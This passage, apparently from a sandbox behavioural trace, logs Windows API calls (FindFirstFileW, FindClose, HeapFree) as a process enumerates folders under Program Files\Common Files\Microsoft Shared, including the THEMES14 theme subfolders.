dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.897] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.899] GetProcessHeap () returned 0x550000 [0195.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.900] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.900] GetProcessHeap () returned 0x550000 [0195.900] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.904] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.904] GetProcessHeap () returned 0x550000 [0195.904] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.906] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.906] GetProcessHeap () returned 0x550000 [0195.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0195.907] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.907] GetProcessHeap () returned 0x550000 [0195.907] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.907] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.908] GetProcessHeap () returned 0x550000 [0195.908] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.149] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.150] GetProcessHeap () returned 0x550000 [0196.150] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0196.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.152] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.153] GetProcessHeap () returned 0x550000 [0196.153] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.154] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.154] GetProcessHeap () returned 0x550000 [0196.154] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.155] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.155] GetProcessHeap () returned 0x550000 [0196.155] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.157] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.157] GetProcessHeap () returned 0x550000 [0196.157] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.158] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.158] GetProcessHeap () returned 0x550000 [0196.158] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.159] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.159] GetProcessHeap () returned 0x550000 [0196.159] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.160] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.160] GetProcessHeap () returned 0x550000 [0196.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.160] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.161] GetProcessHeap () returned 0x550000 [0196.161] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.161] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.161] GetProcessHeap () returned 0x550000 [0196.161] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.162] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.162] GetProcessHeap () returned 0x550000 [0196.162] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.163] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.163] GetProcessHeap () returned 0x550000 [0196.163] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.164] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.164] GetProcessHeap () returned 0x550000 [0196.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.165] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.165] GetProcessHeap () returned 0x550000 [0196.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.166] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.166] GetProcessHeap () returned 0x550000 [0196.166] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.166] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.167] GetProcessHeap () returned 0x550000 [0196.167] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.167] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.167] GetProcessHeap () returned 0x550000 [0196.167] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.168] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.168] GetProcessHeap () returned 0x550000 [0196.168] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.169] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.169] GetProcessHeap () returned 0x550000 [0196.169] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.170] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.170] GetProcessHeap () returned 0x550000 [0196.170] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.170] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.171] GetProcessHeap () returned 0x550000 [0196.171] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.171] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.171] GetProcessHeap () returned 0x550000 [0196.172] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.172] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.172] GetProcessHeap () returned 0x550000 [0196.172] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.173] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.173] GetProcessHeap () returned 0x550000 [0196.173] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.174] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.174] GetProcessHeap () returned 0x550000 [0196.174] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: 